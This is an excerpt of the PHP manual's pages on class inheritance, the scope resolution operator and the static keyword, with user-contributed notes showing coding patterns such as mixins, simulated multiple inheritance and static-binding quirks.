This is useful for defining and abstracting functionality, and permits the implementation of additional functionality in similar objects without the need to reimplement all of the shared functionality.

Note:

Unless autoloading is used, then classes must be defined before they are used. If a class extends another, then the parent class must be declared before the child class structure. This rule applies to class that inherit other classes and interfaces.

Example #1 Inheritance Example

<?php

class foo
{
    public function printItem($string)
    {
        echo 'Foo: ' . $string . PHP_EOL;
    }

    public function printPHP()
    {
        echo 'PHP is great.' . PHP_EOL;
    }
}

class bar extends foo
{
    public function printItem($string)
    {
        echo 'Bar: ' . $string . PHP_EOL;
    }
}

$foo = new foo();
$bar = new bar();
$foo->printItem('baz'); // Output: 'Foo: baz'
$foo->printPHP();       // Output: 'PHP is great'
$bar->printItem('baz'); // Output: 'Bar: baz'
$bar->printPHP();       // Output: 'PHP is great'

?>

User Contributed Notes

msg2maciej at aol dot com 28-Jan-2011 04:08
PHP supports single class inheritance. My bare idea on accessing protected methods with power of abstracts and sort of "multi-class inheritance SIMULATION":

<?php
error_reporting(E_ALL);

abstract class Base {
    abstract protected function __construct ();
    abstract protected function hello_left ();
    abstract protected function hello_right ();
}

abstract class NotImplemented_Left extends Base {
protected function hello_right () {
echo 'well, wont see that'; }}

abstract class NotImplemented_Right extends Base {
protected function hello_left () {
echo 'well, wont see that'; }}

class Left extends NotImplemented_Left {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_left () {        # limited visibility, no access from "outside"
echo 'protected hello_left in ' . __CLASS__ . "\n"; }}

class Right extends NotImplemented_Right {
protected function __construct () {        # limited visibility, no access from "outside"
echo __CLASS__.'::protected __construct'. "\n"; }
protected function hello_right () {        # limited visibility, no access from "outside"
echo 'protected hello_right in ' . __CLASS__ . "\n"; }
protected function hello_left () {
echo "wont see that, and easy to get rid of it from here\n"; }}

class Center extends Base {
private $left;
private $right;
public function __construct () {
echo 'welcome in ' . __CLASS__ . "\n";
echo 'Center::'; $this->left = new Left;
echo 'Center::'; $this->right = new Right;
echo " oh and\n";
$this->hello_left();
$this->hello_right();
}
public function hello_left () {            # calling class Left
echo __CLASS__.'::'; $this->left->hello_left(); }
public function hello_right () {        # calling class Right
echo __CLASS__.'::'; $this->right->hello_right(); }
}

$c = new Center;
?>

Produces:

welcome in Center
Center::Left::protected __construct
Center::Right::protected __construct
 oh and
Center::protected hello_left in Left
Center::protected hello_right in Right
OZ 14-Nov-2010 03:24
Model for Mixins pattern:

<?php
interface IMixinsCaller
{
    public function __mixin_get_property($property);

    public function __mixin_set_property($property, $value);

    public function __mixin_call($method, $value);
}

abstract class MixinsCaller implements IMixinsCaller
{
    protected $mixins = array();

    public function __call($name, $arguments)
    {
        if (!empty($this->mixins))
        {
            foreach ($this->mixins as $mixin)
            {
                if (method_exists($mixin, $name))
                {
                    return call_user_func_array(array($mixin, $name), $arguments);
                }
            }
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$name, E_USER_WARNING);
    }

    public function __mixin_get_property($property)
    {
        if (property_exists($this, $property))
        {
            return $this->$property;
        }
        trigger_error('Non-existent property was get in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_set_property($property, $value)
    {
        if (property_exists($this, $property))
        {
            return $this->$property = $value;
        }
        trigger_error('Non-existent property was set in class '.__CLASS__.': '.$property, E_USER_WARNING);
    }

    public function __mixin_call($method, $value)
    {
        if (method_exists($this, $method))
        {
            return call_user_func_array(array($this, $method), $value);
        }
        trigger_error('Non-existent method was called in class '.__CLASS__.': '.$method, E_USER_WARNING);
    }

    public function AddMixin($mixin)
    {
        $this->mixins[] = $mixin;
    }
}

abstract class Mixin
{
    /** @var IMixinsCaller $parent_object */
    private $parent_object;

    public function __construct(IMixinsCaller $parent_object)
    {
        $this->parent_object = $parent_object;
    }

    public function __get($property)
    {
        return $this->parent_object->__mixin_get_property($property);
    }

    public function __set($property, $value)
    {
        return $this->parent_object->__mixin_set_property($property, $value);
    }

    public function __call($method, $value)
    {
        return $this->parent_object->__mixin_call($method, $value);
    }
}
?>
janturon at email dot cz 22-Sep-2010 10:11
Here is an easy way how to implement multiple inheritance in PHP using magic methods. Let's have this class:

class Extender {
  private $objs = array();
  public function __construct() {
    $drones = func_get_args();
    foreach($drones as $drone) $this->objs[$drone] = new $drone();
    foreach($this->objs as $obj) $obj->hive = $this;
  }
  public function __get($attr) {
    foreach($this->objs as $obj)
      if(isset($obj->$attr))
        return $obj->$attr;
  }
  public function __set($attr,$val) {
    if($attr=="hive") return;
    foreach($this->objs as $obj)
      if(isset($obj->$attr))
        $obj->$attr = $val;
  }
  public function __call($meth,$args) {
    foreach($this->objs as $obj)
      if(method_exists($obj,$meth))
        return call_user_func_array(array($obj,$meth),$args);
  }
}

Now multiple inheritance can be written this way ($hive is reference to child classes)

class c1 {
  public $p1 = "x";
  function f1() { echo $this->p1; }
}

class c2 {
  public $p2 = "x";
  function f2() { echo $this->p2; }
}

class c_extends_c1_c2 {
  static $hive;
  function test() {
    $this->hive->p1 = "hello,";
    $this->hive->p2 = "world!";
    return $this->hive->f1() . $this->hive->f2();
  }
}

And here is how to use it:

$obj = new Extender("c1","c2","c_extends_c1_c2");
echo $obj->test(); //"hello,world!"
strata_ranger at hotmail dot com 19-Sep-2010 09:37
I was recently extending a PEAR class when I encountered a situation where I wanted to call a constructor two levels up the class hierarchy, ignoring the immediate parent.  In such a case, you need to explicitly reference the class name using the :: operator.

Fortunately, just like using the 'parent' keyword PHP correctly recognizes that you are calling the function from a protected context inside the object's class hierarchy.

E.g:

<?php
class foo
{
  public function something()
  {
    echo __CLASS__; // foo
    var_dump($this);
  }
}

class foo_bar extends foo
{
  public function something()
  {
    echo __CLASS__; // foo_bar
    var_dump($this);
  }
}

class foo_bar_baz extends foo_bar
{
  public function something()
  {
    echo __CLASS__; // foo_bar_baz
    var_dump($this);
  }

  public function call()
  {
    echo self::something(); // self
    echo parent::something(); // parent
    echo foo::something(); // grandparent
  }
}

error_reporting(-1);

$obj = new foo_bar_baz();
$obj->call();

// Output similar to:
// foo_bar_baz
// object(foo_bar_baz)[1]
// foo_bar
// object(foo_bar_baz)[1]
// foo
// object(foo_bar_baz)[1]

?>
jackdracona at msn dot com 14-Apr-2010 08:53
Here is some clarification about PHP inheritance – there is a lot of bad information on the net.  PHP does support Multi-level inheritance.  (I tested it using version 5.2.9).  It does not support multiple inheritance.

This means that you cannot have one class extend 2 other classes (see the extends keyword).  However, you can have one class extend another, which extends another, and so on.

Example:

<?php
class A {
        // more code here
}

class B extends A {
        // more code here
}

class C extends B {
        // more code here
}

$someObj = new A();  // no problems
$someOtherObj = new B(); // no problems
$lastObj = new C(); // still no problems

?>
php at sleep is the enemy dot co dot uk 07-Apr-2010 02:36
Here's fun, an attempt to make some degree of multiple inheritance work in PHP using mixins. It's not particularly pretty, doesn't support method visibility modifiers and, if put to any meaningful purpose, could well make your call stack balloon to Ruby-on-Rails-esque proportions, but it does work.

<?php
abstract class Mix {

    protected $_mixMap = array();

    public function __construct(){

         $this->_mixMap = $this->collectMixins($this);
    }

    public function __call($method, $args){

        // doesn't pass scope
        //return call_user_func_array(array($className, $method), $args);

        // Error: Given object is not an instance of the class this method was declared in
        //$method = new ReflectionMethod($className, $method);
        //return $method->invokeArgs($this, $args);

        $payload = $this->buildMixinPayload($this->_mixMap, $method, $args);
        if(!$payload) throw new Exception('Method ' . $method . ' not found');

        list($mixinMethod, list($method, $args)) = $payload;

        return $this->$mixinMethod($method, $args);

    }

    protected function collectMixins($class){

        static $found = array();
        static $branch = array();

        if(empty($branch)) $branch[] = get_class($this);
        $mixins = array();

        foreach(array_reverse(get_class_methods($class)) as $method){
            if(preg_match('/^mixin(\w+)$/', $method, $matches)){

                $className = $matches[1];

                if(in_array($className, $branch))
                    throw new Exception('Circular reference detected ' . implode(' > ', $branch) . ' > ' . $className);

                if(!in_array($className, $found)){

                    if(!class_exists($className)) throw new Exception('Class ' . $className . ' not found');

                    // populate props from mixin class
                    foreach(get_class_vars($className) as $key => $value){
                        if(!property_exists($this, $key)) $this->$key = $value;
                    }

                    $found[] = $branch[] = $className;
                    $mixins[$className] = $this->collectMixins($className);
                }

                $branch = array(get_class($this));
            }
        }

        return $mixins;
    }

    protected function buildMixinPayload($mixins, $method, $args){

        foreach($mixins as $className => $parents){

            $mixinMethod = 'mixin' . $className;

            if(method_exists($className, $method)) return array($mixinMethod, array($method, $args));

            if(!empty($parents) && $return = $this->buildMixinPayload($parents, $method, $args)){
                return array($mixinMethod, $return);
            }
        }

        return false;
    }

}
?>
php at sleep is the enemy dot co dot uk 31-Mar-2010 07:47
Here's some example usage of the mixin class.

<?php

class Lunch extends Mix {

    public $edible = true;

    /*
     * Circular references are, of course, illegal and will be detected
     */
    /*
    public function mixinSteakAndKidneyPie($method, $args){
        return SteakAndKidneyPie::$method(@$args[0], @$args[1], @$args[2], @$args[3], @$args[4], @$args[5]);
    }
    //*/

    public function isEdible($affirm, $negate){
        return $this->edible ? $affirm : $negate;
    }
}

class Pie extends Mix {

    /*
     * class tokens are bound at compile time so need to be explicitly declared
     * Need to make sure there are enough argument placeholders to cover all mixed in methods of Lunch
     * Late static binding may improve this situation
     */
    public function mixinLunch($method, $args){
        return Lunch::$method(@$args[0], @$args[1], @$args[2], @$args[3], @$args[4], @$args[5]);
    }

    public function buildPie($sep = ','){
        return 'Crust' . $sep . $this->getFilling() . $sep . 'More Crust';
    }

    public function getFilling(){
        $this->edible = false;
        return 'Baking beans';
    }
}

class SteakAndKidney extends Mix {

    public function mixinLunch($method, $args){
        return Lunch::$method(@$args[0], @$args[1], @$args[2], @$args[3], @$args[4], @$args[5]);
    }

    /*
     * everything to be mixed in must be public
     * protected/private methods called from within mixed in methods will fail
     */
    public $filling = 'Steak and Kidney';

    public function getFilling(){
        $this->edible = true;
        return $this->filling;
    }
}

class SteakAndKidneyPie extends Mix {

    /*
     * order of mixin declaration significant
     * later declarations override earlier ones
     */
    public function mixinSteakAndKidney($method, $args){
        return SteakAndKidney::$method(@$args[0], @$args[1], @$args[2], @$args[3], @$args[4], @$args[5]);
    }

    public function mixinPie($method, $args){
        return Pie::$method(@$args[0], @$args[1], @$args[2], @$args[3], @$args[4], @$args[5]);
    }

    /*
     * Pick specific methods like so:
     */
    //*
    public function getFilling(){
        return SteakAndKidney::getFilling();
    }
    //*/

}

$pie = new SteakAndKidneyPie();
echo $pie->buildPie(' | ');
echo '<br/>Pie ' . $pie->isEdible('is', 'is not') . ' Edible';

/*
OUTPUTS:
Crust | Steak and Kidney | More Crust
Pie is Edible
*/

?>
jarrod at squarecrow dot com 27-Oct-2009 06:01
You can force a class to be strictly an inheritable class by using the "abstract" keyword. When you define a class with abstract, any attempt to instantiate a separate instance of it will result in a fatal error. This is useful for situations like a base class where it would be inherited by multiple child classes yet you want to restrict the ability to instantiate it by itself.

Example........

<?php

abstract class Cheese
{
      //can ONLY be inherited by another class
}

class Cheddar extends Cheese
{
}

$dinner = new Cheese; //fatal error
$lunch = new Cheddar; //works!

?>
Visibility
Scope Resolution Operator (::)
Classes and Objects


Scope Resolution Operator (::)

The Scope Resolution Operator (also called Paamayim Nekudotayim) or in simpler terms, the double colon, is a token that allows access to static, constant, and overridden properties or methods of a class.

When referencing these items from outside the class definition, use the name of the class.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value can not be a keyword (e.g. self, parent and static).

Paamayim Nekudotayim would, at first, seem like a strange choice for naming a double-colon. However, while writing the Zend Engine 0.5 (which powers PHP 3), that's what the Zend team decided to call it. It actually does mean double-colon - in Hebrew!

Example #1 :: from outside the class definition

<?php
class MyClass {
    const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE; // As of PHP 5.3.0

echo MyClass::CONST_VALUE;
?>

Three special keywords self, parent and static are used to access properties or methods from inside the class definition.

Example #2 :: from inside the class definition

<?php
class OtherClass extends MyClass
{
    public static $my_static = 'static var';

    public static function doubleColon() {
        echo parent::CONST_VALUE . "\n";
        echo self::$my_static . "\n";
    }
}

$classname = 'OtherClass';
echo $classname::doubleColon(); // As of PHP 5.3.0

OtherClass::doubleColon();
?>

When an extending class overrides the parents definition of a method, PHP will not call the parent's method. It's up to the extended class on whether or not the parent's method is called. This also applies to Constructors and Destructors, Overloading, and Magic method definitions.

Example #3 Calling a parent's method

<?php
class MyClass
{
    protected function myFunc() {
        echo "MyClass::myFunc()\n";
    }
}

class OtherClass extends MyClass
{
    // Override parent's definition
    public function myFunc()
    {
        // But still call the parent function
        parent::myFunc();
        echo "OtherClass::myFunc()\n";
    }
}

$class = new OtherClass();
$class->myFunc();
?>

See also some examples of static call trickery.

User Contributed Notes

phil at philfreo dot com 19-Aug-2010 10:00
I'm not sure if this was intentional or not, but it's worth noting...

As of PHP5.3 you can can say:

<?php
class Foo {
    public function __construct($logClass = 'MyLog') {
        $logClass::write();
    }
}
?>

But you CANNOT say:

<?php
class Foo {
    protected $log;
    public function __construct($logClass = 'MyLog') {
        $this->log = $logClass;
        $this->log::write(); // breaks
    }
}
?>

NOR can you say:

<?php
class Foo {
    protected static $log;
    public function __construct($logClass = 'MyLog') {
        self::$log = $logClass;
        self::$log::write(); // breaks
    }
}
?>
remy dot damour at ----no-spam---laposte dot net 05-May-2010 01:50
As of php 5.3.0, you can use 'static' as scope value as in below example (add flexibility to inheritance mechanism compared to 'self' keyword...)

<?php

class A {
    const C = 'constA';
    public function m() {
        echo static::C;
    }
}

class B extends A {
    const C = 'constB';
}

$b = new B();
$b->m();

// output: constB
?>
Theriault 05-Dec-2009 08:58
A class constant, class property (static), and class function (static) can all share the same name and be accessed using the double-colon.

<?php

class A {

    public static $B = '1'; # Static class variable.

    const B = '2'; # Class constant.

    public static function B() { # Static class function.
        return '3';
    }

}

echo A::$B . A::B . A::B(); # Outputs: 123
?>
wouter at interpotential dot com 09-Nov-2009 07:24
It's worth noting, that the mentioned variable can also be an object instance. This appears to be the easiest way to refer to a static function as high in the inheritance hierarchy as possible, as seen from the instance. I've encountered some odd behavior while using static::something() inside a non-static method.

See the following example code:

<?php
class FooClass {
    public function testSelf() {
        return self::t();
    }

    public function testThis() {
        return $this::t();
    }

    public static function t() {
        return 'FooClass';
    }

    function __toString() {
        return 'FooClass';
    }
}

class BarClass extends FooClass {
    public static function t() {
        return 'BarClass';
    }

}

$obj = new BarClass();
print_r(Array(
    $obj->testSelf(), $obj->testThis(),
));
?>

which outputs:

<pre>
Array
(
    [0] => FooClass
    [1] => BarClass
)
</pre>

As you can see, __toString has no effect on any of this. Just in case you were wondering if perhaps this was the way it's done.
giovanni at gargani dot it 02-Jun-2009 06:38
Well, a "swiss knife" couple of code lines to call parent method. The only limit is you can't use it with "by reference" parameters.
Main advantage you dont need to know the "actual" signature of your super class, you just need to know which arguments do you need

<?php
class someclass extends some superclass {
// usable for constructors
 function __construct($ineedthisone) {
  $args=func_get_args();
  /* $args will contain any argument passed to __construct.
  * Your formal argument doesnt influence the way func_get_args() works
  */
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
// but this is not for __construct only
 function anyMethod() {
  $args=func_get_args();
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
  // Note: php 5.3.0 will even let you do
 function anyMethod() {
  //Needs php >=5.3.x
  call_user_func_array(array('parent',__FUNCTION__),func_get_args());
 }

}
?>
erwinhaantjes at interurbia dot nl 11-Apr-2009 02:36
Here is a nice function i like to share with you because it so nice and handy feature. I wanted to get rid off the parent::methodName(myVar1, myVar2, myVar3 etc.....) construction so i wrote a shortcut to this notation. The only thing you have to do is calling $this->inherited() (or parent::inherited()) to call the same function with the same parameters in the parent class. It is also possible to specify other parameters if you like. You can also use this inside constructors/destructors.

To use this example, put it in the base class of all objects.You also need the simple function below to test if an array is valid (from a self-build library) but you are free to change it to your own needs ;-):

<?php
function suIsValidArray( &$a, &$iCount = null )
{
  $iCount = 0;
  return ( is_array( $a ) and (( $iCount = @count( $a )) > 0 ));
}
?>

The inherited function/construction is familiar language construction in Object Pascal/Delphi (wonderful language). If you have any comments, please enter a note.

Here it is:

<?php
    public function inherited()
    {
       // Use DEBUG backtrace to trace caller function
      $bt = debug_backtrace();
      $bt = $bt[ 1 ]; // List is in reversed order, 0 reffers to this function so get previous one

      if( !suIsValidArray( $bt ))
      { return; }

      $sClassName = $bt["class"];
      $sParentClassName = get_parent_class( $sClassName );
      if( empty( $sClassName ) or empty( $sParentClassName ) or $sParentClassName == $sClassName )
      { return; }

      $sFuncName = $bt["function"];
       // constructor or destructor called (old fashion way)?
      if( ( $bIsConstruct = ( $sFuncName == $sClassName )) or ( $sFuncName == "_".$sClassName ) )
      {
          // get parent constructor/destructor
          $sFuncName = (( !$bIsConstruct ) ? "_" : "" ).$sParentClassName;
        if( $sFuncName == (( !$bIsConstruct ) ? "_" : "" ).$sClassName )
        { return; }
      }

      if( method_exists( $sParentClassName, $sFuncName ))
       {
             // If there are parameters specified, use these
         $args = func_get_args();
         if( !suIsValidArray( $args ))
          { $args = &$bt["args"]; } // otherwise use previous function parameters if any

           $iCount = 0;
           $sArgs = "";
        if( suIsValidArray( $args, $iCount ))
         {
           for( $i = 0; $i < $iCount; $i++ )
            { $sArgs.="&$"."args[$i]".( $i < ($iCount-1) ? "," : "" ); }
         }

         // Simple, evaluate it, this is possible because it is done inside the class itself, and
         // the parent class is already created because is a part of the class structure, no worry, no scope issues
        eval( "$"."result = $sParentClassName::".$sFuncName."($sArgs);" );
        return @$result;
       }
    }
?>
csaba dot dobai at php-sparcle dot com 03-Feb-2009 09:54
For the 'late static binding' topic I published a code below, that demonstrates a trick for how to setting variable value in the late class, and print that in the parent (or the parent's parent, etc.) class.

<?php

class cA
{
    /**
     * Test property for using direct default value
     */
    protected static $item = 'Foo';

    /**
     * Test property for using indirect default value
     */
    protected static $other = 'cA';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    public static function setOther($val)
    {
        self::$other = $val; // Set a value in this scope.
    }
}

class cB extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Bar';

    public static function setOther($val)
    {
        self::$other = $val;
    }
}

class cC extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Tango';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    /**
     * Now we drop redeclaring the setOther() method, use cA with 'self::' just for fun.
     */
}

class cD extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Foxtrot';

    /**
     * Now we drop redeclaring all methods to complete this issue.
     */
}

cB::setOther('cB'); // It's cB::method()!
cB::method(); // It's cA::method()!
cC::setOther('cC'); // It's cA::method()!
cC::method(); // It's cC::method()!
cD::setOther('cD'); // It's cA::method()!
cD::method(); // It's cA::method()!

/**
 * Results: ->
 * Foo
 * cB
 * Tango
 * cC
 * Foo
 * cD
 *
 * What the hell?! :)
 */

?>
luka8088 at gmail dot com 24-Jan-2009 03:15
Little static trick to go around php strict standards ...
Function caller founds an object from which it was called, so that static method can alter it, replacement for $this in static function but without strict warnings :)

<?php

error_reporting(E_ALL + E_STRICT);

function caller () {
  $backtrace = debug_backtrace();
  $object = isset($backtrace[0]['object']) ? $backtrace[0]['object'] : null;
  $k = 1;

  while (isset($backtrace[$k]) && (!isset($backtrace[$k]['object']) || $object === $backtrace[$k]['object']))
    $k++;

  return isset($backtrace[$k]['object']) ? $backtrace[$k]['object'] : null;
}

class a {

  public $data = 'Empty';

  function set_data () {
    b::set();
  }

}

class b {

  static function set () {
    // $this->data = 'Data from B !';
    // using this in static function throws a warning ...
    caller()->data = 'Data from B !';
  }

}

$a = new a();
$a->set_data();
echo $a->data;

?>

Outputs: Data from B !

No warnings or errors !
barss dot dev at gmail dot com 01-Jul-2008 03:47
Nice trick with scope resolution
<?php
    class A
    {
        public function TestFunc()
        {
            return $this->test;
        }
    }

    class B
    {
        public $test;

        public function __construct()
        {
            $this->test = "Nice trick";
        }

        public function GetTest()
        {
            return A::TestFunc();
        }
    }

    $b = new B;
    echo $b->GetTest();
?>

will output

Nice trick
richard at richard-sumilang dot com 24-Mar-2008 06:27
Actually, for people not using PHP 5.3 yet you should try avoiding the use of a eval() at all costs! THere are too many security risks and dirty code that come from using eval. If you want to call a static method from a class then you can use call_user_func() instead which is much safer.

Example:

clas Foo{

  public static method Bar(){
    echo "Hello world!";
  }

}

And to execute that with call_user_func you would do the following:

call_user_func(array('Foo', 'bar') [, $params] );

Thanks,
- Richard S.
thomas dot sahlin at gmail dot com 27-Dec-2007 04:15
If you need to reference a class using a variable (prior to PHP 5.3.0) you may use something like this:

<?php
$className = 'MyClass';

eval('$foo = ' . $className . '::myFunction();');

var_dump($foo);
?>
Anonymous 16-Oct-2007 03:41
There's no surprize here. These resolution rules are identical in C++ and Java, where static fields (and methods) are not separately instanciated within the inheritance tree for the new derived classes.

This is per design. If you want per-class static fields,you have to overload each static field (or method) to assign them a new value that will hide the inherited static field (or method). The "$self::" scope in a static method does not refer to the object or class from which the method is called, as it is statically compiled and resolved within the class declaring the method.

In other words "$self::" is just needed to specify the field declared in the defining class, instead of a homonym variable (or function) in the local scope which may hide it. This is exactly similar to the "this." scope specifier (used with the "." operator here) used in C++ (or Java).

The same can be said about the semantic of "$super::" used within a static method (similar to "super." scope specifier used in C++ or Java).

Neither PHP, nor C++, have a way to work on instanciated class objects as if they were objects of the first grade (that's why C++ and Java are making distinctions between classes and interfaces).

On the opposite Javascript/ECMAScript defines classes like standard objects with a "prototype" field for the fields (or methods) to inherit instead of duplicating them with the new operator. When working in PHP, forget Javascript, think like in C++ and Java.
mongoose643 at gmail dot com 13-Feb-2007 12:11
This is a solution for those that still need to write code compatible with php 4 but would like to use the flexibility of static variables. PHP 4 does not support static variables within the class scope but it does support them within the scope of class methods. The following is a bit of a workaround to store data in static mode in php 4.

Note: This code also works in PHP 5.

(Tested on version 4.3.1+)

The tricky part is when using when arrays you have to do a bit of fancy coding to get or set individual elements in the array. The example code below should show you the basics of it though.

<?php

class StaticSample
{
    //Copyright Michael White (www.crestidg.com) 2007
    //You may use and modify this code but please keep this short copyright notice in tact.
    //If you modify the code you may comment the changes you make and append your own copyright
    //notice to mine. This code is not to be redistributed individually for sale but please use it as part
    //of your projects and applications - free or non-free.

    //Static workaround for php4 - even works with arrays - the trick is accessing the arrays.
    //I used the format s_varname for my methods that employ this workaround. That keeps it
    //similar to working with actual variables as much as possible.
    //The s_ prefix immediately identifies it as a static variable workaround method while
    //I'm looking thorugh my code.
    function &s_foo($value=null, $remove=null)
    {
        static $s_var;    //Declare the static variable.    The name here doesn't matter - only the name of the method matters.

        if($remove)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    foreach($value as $key => $data)
                    {
                        unset($s_var[$key]);
                    }
                }
            }
            else
            {
                //You can't just use unset() here because the static state of the variable will bring back the value next time you call the method.
                $s_var = null;
                unset($s_var);
            }
            //Make sure that you don't set the value over again.
            $value = null;
        }
        if($value)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    //$s_var = array_merge($s_var, $value);        //Doesn't overwrite values. This adds them - a property of the array_merge() function.
                    foreach($value as $key => $data)
                    {
                        $s_var[$key] = $data;    //Overwrites values.
                    }
                }
                else
                {
                    $s_var = $value;
                }
            }
            else
            {
                $s_var = $value;
            }
        }

        return $s_var;
    }
}

echo "Working with non-array values.<br>";
echo "Before Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Setting: ".StaticSample::s_foo("VALUE HERE");
echo "<br>";
echo "After Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Removing: ".StaticSample::s_foo(null, 1);
echo "<br>";
echo "After Removing: ".StaticSample::s_foo();
echo "<hr>";
echo "Working with array values<br>";
$array = array(0=>"cat", 1=>"dog", 2=>"monkey");
echo "Set an array value: ";
print_r(StaticSample::s_foo($array));
echo "<br>";

//Here you need to get all the values in the array then sort through or choose the one(s) you want.
$all_elements = StaticSample::s_foo();
$middle_element = $all_elements[1];
echo "The middle element: ".$middle_element;
echo "<br>";

$changed_array = array(1=>"big dog", 3=>"bat", "bird"=>"flamingo");
echo "Changing the value: ";
print_r(StaticSample::s_foo($changed_array));
echo "<br>";

//All you have to do here is create an array with the keys you want to erase in it.
//If you want to erase all keys then don't pass any array to the method.
$element_to_erase = array(3=>null);
echo "Erasing the fourth element: ";
$elements_left = StaticSample::s_foo($element_to_erase, 1);
print_r($elements_left);
echo "<br>";
echo "Enjoy!";

?>
developit at mail dot ru 27-Jan-2006 03:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
    protected $x = 'A';
    public function f()
    {
        return '['.$this->x.']';
    }
}

class B extends A
{
    protected $x = 'B';
    public function f()
    {
        return '{'.$this->x.'}';
    }
}

class C extends B
{
    protected $x = 'C';
    public function f()
    {
        return '('.$this->x.')'.parent::f().B::f().A::f();
    }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]
Kristof Coomans 25-Nov-2005 03:08
In response to ian at [first name]henderson dot org:

(related bogus bug report: http://bugs.php.net/bug.php?id=26930)

The functionality you've expected maybe will be possible in PHP6, probably by using the static keyword in conjunction with the scope resolution parameter. You can read more about this in the minutes of the PHP developers meeting at 11 and 12 november in Paris: http://www.php.net/~derick/meeting-notes.html point 5.4: Late static binding using "this" without "$" (or perhaps with a different name)
HuugjeWeg 29-Apr-2005 05:58
In response to ian at [first name]henderson dot org:

You are not allowed to redefine static methods, see
http://www.php.net/manual/en/language.oop5.static.php

And in response to thenewparadigm at hotmail dot com: the behaviour you describe seems appropriate for *classes* with static variables, see "Using static variables" on http://nl2.php.net/static
thenewparadigm at hotmail dot com 05-Mar-2005 09:43
There is also a quirk with using the scope resolution operator on static class variables.  Below is an example using a highly modified version of Ian's code:

<?php

class ExampleSuperclass
{
   static $className;

   static function showClassName() {
      echo self::$className . "\n";
   }
}

class ExampleSubclassOne extends ExampleSuperclass
{
   static function setClassName()
   {
       self::$className = "subclassOne";
   }
}

class ExampleSubclassTwo extends ExampleSuperClass
{
   static function setClassName()
   {
      self::$className = "subclassTwo";
   }
}

// setting variables for each class
ExampleSubclassOne::setClassName();
ExampleSubclassTwo::setClassName();

ExampleSubclassOne::showClassName();  // output is "subclassTwo"!

// more output:

echo ExampleSubclassOne::$className . "\n"; // output is "subclassTwo"!
echo ExampleSubclassTwo::$className . "\n"; // output is "subclassTwo"
echo ExampleSuperclass::$className . "\n"; // output is "subclassTwo"!

?>

appearantly, any static variables defined in a superclass are directly referenced in subclasses,
and all changes are visible throughout the class heirarchy.  care must be taken when using static
class variables.
ian at [first name]henderson dot org 31-Jan-2005 10:43
Please note that methods called by the scope resolution operator which are defined by a superclass of the first operand are called in the scope of the SUPERCLASS.  For example,

<?php

class ExampleSuperclass
{
    static function classType()
    {
        return "superclass";
    }

    static function doSomething()
    {
        echo "doing something with " . self::classType();
    }
}

class ExampleClass extends ExampleSuperclass
{
    static function classType()
    {
        return "subclass";
    }
}

ExampleClass::doSomething();
// output is "doing something with superclass"!

?>

This can be surprising (it surprised me!) when coming from other object-oriented languages, which would output "doing something with subclass" in this case.
Object Inheritance
Static Keyword
Classes and Objects


Static Keyword

Declaring class properties or methods as static makes them accessible without needing an instantiation of the class. A property declared as static can not be accessed with an instantiated class object (though a static method can).

For compatibility with PHP 4, if no visibility declaration is used, then the property or method will be treated as if it was declared as public.

Because static methods are callable without an instance of the object created, the pseudo-variable $this is not available inside the method declared as static.

Static properties cannot be accessed through the object using the arrow operator ->.

Calling non-static methods statically generates an E_STRICT level warning.

Like any other PHP static variable, static properties may only be initialized using a literal or constant; expressions are not allowed. So while you may initialize a static property to an integer or array (for instance), you may not initialize it to another variable, to a function return value, or to an object.

As of PHP 5.3.0, it's possible to reference the class using a variable. The variable's value can not be a keyword (e.g. self, parent and static).

Example #1 Static property example

<?php
class Foo
{
    public static $my_static = 'foo';

    public function staticValue() {
        return self::$my_static;
    }
}

class Bar extends Foo
{
    public function fooStatic() {
        return parent::$my_static;
    }
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n";      // Undefined "Property" my_static

print $foo::$my_static . "\n";
$classname = 'Foo';
print $classname::$my_static . "\n"; // As of PHP 5.3.0

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

Example #2 Static method example

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod(); // As of PHP 5.3.0
?>

User Contributed Notes

kaspars [at] gign.lv 03-Oct-2011 02:02
in order to use __destruct() in a class without instance (see the sample code in the comment below), you must assign return value of new B(); to a static private variable class-wide or else __destruct() will be called at the end of init() function because the return value of new B() will be treated as a local variable

e.g.:

<?php

class B {
  static private $fakeClass = null;

  static public init($autoSave) {
    self::$fakeClass = new B();
  }

  /* rest of the code */
}
programmer-comfreek at hotmail dot com 08-Aug-2011 07:40
If you haven't an instance for your class (e.g. all functions are static), but you also want a __destruct() functionality, consider the following example:

We have a class which loads and saves data so we also want to have an autosave mechanism which is called at the end of the PHP script.

So usually you declare a __destruct function but our class is designed to provide static functions / variables instead:

<?php

class A
{
  static private $autoSave;
  static public function init($autoSave)
  {
    /* emulating __construct() */
    self::$autoSave = $autoSave;
  }
  static public function save() { /*...*/ } /* load(), get(), etc. */
}

?>
